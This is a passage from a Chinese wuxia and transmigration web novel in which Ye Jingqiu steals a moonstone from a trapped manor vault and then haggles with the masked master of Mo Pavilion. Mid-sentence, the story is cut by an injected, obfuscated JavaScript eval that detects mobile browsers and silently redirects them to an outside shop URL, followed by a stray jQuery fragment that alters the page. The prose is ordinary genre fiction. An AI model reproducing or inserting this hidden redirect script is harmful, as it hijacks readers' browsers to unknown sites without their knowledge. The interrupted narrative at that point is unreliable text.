两个了。

    一个已经死了,还有一个昏着。

    蓝教的人这么弱,是怎么做出那种恶事的?

    究竟是被人栽赃陷害,还是日后会突飞猛进?

    叶惊秋摸着下巴思索。

    身侧的男人也摸着下巴,问他:“在想什么?”

    “纹得真丑。”叶惊秋说。

    男人:“……”

    男人又问:“你知道这是哪个宗门的吗?”

    叶惊秋瞥他一眼:“你以为我是万事通还是百晓生?什么都来问我,你倒是看得起我。”

    男人:“……”

    叶惊秋掏出一捆绳子丢给他:“把人绑了,等他醒了你自己问不就知道了。”

    男人想想也是,上前将那三人都捆了个结实。

    在他们醒来之前,叶惊秋还有别的事要做。

    方才揪人脸皮的时候,他顺手把这几人的包袱全翻了一遍。

    别说值钱的东西,连一个铜板都没有。

    一群穷鬼。

    不过,他倒是因此确定了男女主角的身份。

    女主一身里红外黑的交领裤裙,裙摆的纹路正是宗门图案;男主则是普通的黑色劲装,看着极不起眼。

    ——如果没有那枚价值不菲的扳指的话。

    叶惊秋对扳指没什么兴趣,但对男女主本身很有兴趣。

    这两人见面就掐,本事却厉害得很。

    分则各自为王,合则天下无双。

    一旦没时间吵架,就像偷看了剧本似的,转瞬便能将事情解决。

    看书的时候叶惊秋很欣赏这俩人,可穿进书里,就实在欣赏不起来了。

    他得想个法子,把这两人捆在一块儿。

    干脆都下毒,毒到七天后再醒好了。

    叶惊秋这么想着,手里已经摸出了药瓶。

    还没来得及打开,就听男人问道:“你和他俩有仇?”

    “没有啊。”叶惊秋指了指两人,“你不防着点?”

    “除了被我们抓到的,山庄里这些人全是各宗门的弟子。他们当中但凡有一个没了声息,宗门便会打进来。”

    叶惊秋也想起来这茬了,叹了口气。

    既然没法下毒,那就干脆把他俩往一块儿凑。

    他伸手将自己的马尾扎紧了些,然后上前从男主手中取下扳指,给女主戴上,又将女主的佩剑放到男主床头。

    “怎么,你跟他俩有仇?”男人意味深长地走上前,“光顾着他们,怎么不管别人?”

    叶惊秋这才想起,还有一个。

    他不耐烦地转头,利落的马尾横扫过男人面门。

    男人往后一躲,先闻到一股淡淡的香气。

    下一刻,男人身形一顿,两眼翻白,跟着倒下。

    叶惊秋上前,在男人身上一通摸索,很快摸出一把钥匙。

    这是方才出来时,他亲眼看见男人从看守的家丁身上顺过来的。

    正好充公。

    叶惊秋抓了钥匙便跑。

    什么穿书,什么剧情,通通见鬼去。

    他就要第一天偷了宝物远走高飞,让那个不知底细的男人替他,被男女主痛扁一顿。

    他既然能强行更改自己的人设,傻子才会信他会老老实实走剧情。

    叶惊秋趁着换班的间隙,再度溜进库房。

    方才两人互相防备,在库房里也没仔细检查,他只大概锁定了月石的位置。

    月石顾名思义,是一块如月似玉的石头,质地清透,触感冰凉。

    传说月石需吸收日月精华,却不能久置人身旁,否则会损人心神,重者可因癔症而亡。

    叶惊秋一路都在比对角度与时辰,很快就锁定了具体位置。

    他走上前,一手握住旁边墙壁上凸起的石块,一手伸向架子上的黑色盒子。

    “咻咻”破空声乍响,叶惊秋侧身避过身后射来的暗箭,一把抢过盒子便走。

    盒子自原位离开的那一瞬,空气中仿佛有什么断裂开来,紧接着沙沙两声。

    叶惊秋火速攀上墙壁,只见地板猛然塌陷下去,露出幽黑的内壁。

    看不清,想来这底下还有一个洞窟,若是掉了下去,就算没摔死,也必定有什么机关在等着他。

    果然,他凝神细听,隐约听见了一声野兽的低吼。

    方才要是没攀住,这会儿他已经变成快递直接送货上嘴了。

    叶惊秋想着那十两黄金,边往上攀去。

    屋顶必定也有机关,但叶惊秋有不得不往上走的理由。

    护卫们闯进来了。

    趁着护卫们还没摸清状况,叶惊秋火速触发机关,几十道暗针从屋顶坠落,叶惊秋用扇子挡下自己这一片,其余的全扎在了底下护卫身上。

    一轮暗针放完,叶惊秋再度触发。

    如此三轮过后,暗针彻底告罄,底下的护卫也倒了一片,他这才运起内力破坏机关,跃上屋顶。

    外面也围了一圈人。

    叶惊秋趁月亮被乌云遮掩,那些人尚未看清他的面容,一颗烟雾弹丢过去,在一片弥散的烟雾中疾速离去。

    还好他真正的行囊藏在山庄外面。叶惊秋一路上又易容了两三次,成功骗过守卫,再偷了一匹马,逃出钱月山庄。

    月色皎洁,乌云散尽,叶惊秋边策马边褪去身上伪装,露出一张秾艳昳丽、华美无双的脸。

    半路取回真正的行囊,叶惊秋马不停蹄赶往墨阁。

    墨阁离钱月山庄并不远,总比长颜阁近得多。

    至于为何舍近求远让叶惊秋来做这个任务,还不明说要取的宝物是什么,叶惊秋大概能猜出来。

    墨阁要见他一面。

    至于月石……

    恐怕对方真正想要的并非此物,但也不愿错过,便故弄玄虚,骗他顺手取来。

    叶惊秋没进过几次墨阁。

    准确说,是没进去过。

    大多数任务只需将东西交给守门人,等待酬劳即可。

    墨阁消息灵通,哪个宗门新收了谁,有多大实力,他们都一清二楚。

    那只停在他屋前的鸽子,也是某一天突然落下,将任务交到他手中。

    如今却要借钱月山庄的事,见他一面。

    为的什么事?

    叶惊秋在一道铁门前勒住了马。

    他把缰绳一松,任由马自行离去,然后走向守门的佝偻老头,将黑色盒子递过去:“交任务。”

    “叶惊秋?”老头打量他两眼,“这么快就到了。进去吧,我们阁主要见你。”

    叶惊秋一把将黑盒子收回怀中。

    老头带路,他在后头跟着。

    绕过一扇又一扇大门,终于停在一间房前,老头朝门一躬身,开口道:“阁主,人到了。”

    “进来。”声音落下的同时,大门向两侧缓缓打开。

    叶惊秋走进去一看,是一间书房。

    书架前站着一个身穿墨色衣装的男人,手里捧着一本书,慢悠悠地朝叶惊秋看过来:“东西到手了?”

    叶惊秋随手将月石丢了过去。

    男人轻笑着接过,打量两眼:“我要的不是这个。”

    叶惊秋毫不意外:“嗯,你也没要东西。那还我。”

    男人:“……”

    “你不意外?”男人往下走来,叶惊秋这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806084|210733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    才注意到他脸上戴了面具。

    叶惊秋后悔了,早知如此他也该戴上一副面具,礼尚往来。

    “那你可知,我真正要你去取的是何物?”男人好奇问道。

    叶惊秋这下真没绷住,无语地看着他:“打哑谜呢?不说我走了。”

    他就烦这群人这臭毛病,越是身居高位越爱装腔作势,真够烦人的。

    看出叶惊秋是真的不爽,男人也收起不正经,赶紧道:“那十两黄金可以给你。并且,再帮我完成一件事,还能再给你十两黄金。”

    “不了,我就要那十两黄金。”

    做过数学题的都知道,大题的第一小题和第二小题,完全不是一个难度。

    叶惊秋觉得自己很好满足。

    “二十两黄金,只要回钱月山庄拿到生肌丸!”

    叶惊秋一顿。

    男人见他神情松动,满意一笑:“看来……”

    “看来你现在就得给我三十两黄金。”叶惊秋从兜里掏出一个瓷瓶,又丢给男人,“喏,你要的生肌丸。”

    男人:“……”

    他轻轻闭了闭眼,整理好情绪,这才睁眼看向叶惊秋:“你们长颜宗……连这个都教?”

    “你知道的,我们宗里不爱和人起冲突。”

    遇到矛盾,长颜宗一向觉得能拿钱解决就拿钱解决。

    当然,拿的是对方的钱。

    要是不够,再拿一点。

    心情好了,这事就算结了。

    遇到小偷扒手之流,也从不正面冲突,都是偷回来便好。

    哦对了,偷一罚三。

    原物奉还,剩下的充公。

    通通充公。

    男人又报了几样东西,叶惊秋挨个掏出来,短短一小会儿,净赚一百两黄金。

    男人彻底沉默了。

    “没了罢?没了我就回去了。”叶惊秋感觉好做的任务都到了头,剩下的定然不好应付,当场便要开溜。

    可男人不肯放他走了:“最后一个任务,五百两黄金。”

    “拒绝。”叶惊秋没有半分犹豫。

    男人无语:“为什么?”

    “赚够了。”这一百两黄金足够他们吃喝了,再不收手,指不定要把命搭进去。

    赌博嘛,十赌九输,当然要见好就收。

    “怎样你才肯接下这个任务?”男人也没了办法,谁能想到叶惊秋出来时还顺了这么多宝贝?

    钱月庄主现在人没事吧?

    应该没逝。

    “为什么偏要我接?”叶惊秋反骨上线,“偏不要。”

    男人:“……”

    男人这时隐约想起了点什么,他盯着叶惊秋深思熟虑了几秒,懂了:“你不接也可以,我让入月宗接。然后呢,每天让入月宗那个小弟子到长颜宗去。”

    叶惊秋:“……”

    入月宗算是长颜宗的死对头,这暂且不谈,那个小弟子简直是块狗皮膏药,死活甩不掉,成天粘在叶惊秋身后想掰弯他。

    笑死,就算要弯也不会对个丑人弯。

    叶惊秋被威胁到了:“我现在就去血洗入月宗。”

    男人:“……”

    他连忙拦住叶惊秋,这回不敢再胡说八道了,郑重道:“我们谈个交易。你若接下这单并完成任务,报酬足够长颜宗上下五年的全部开销,并且可以引荐长颜宗进入百选。”

    叶惊秋琢磨了一下,加了个条件:“五年里都不许再给我派任务。”

    男人一噎,似乎有话要说,想了想又忍住了:“行。但百选名单里,必须有你参加。”

    叶惊秋心想有什么了不起的,便一口答应了下来。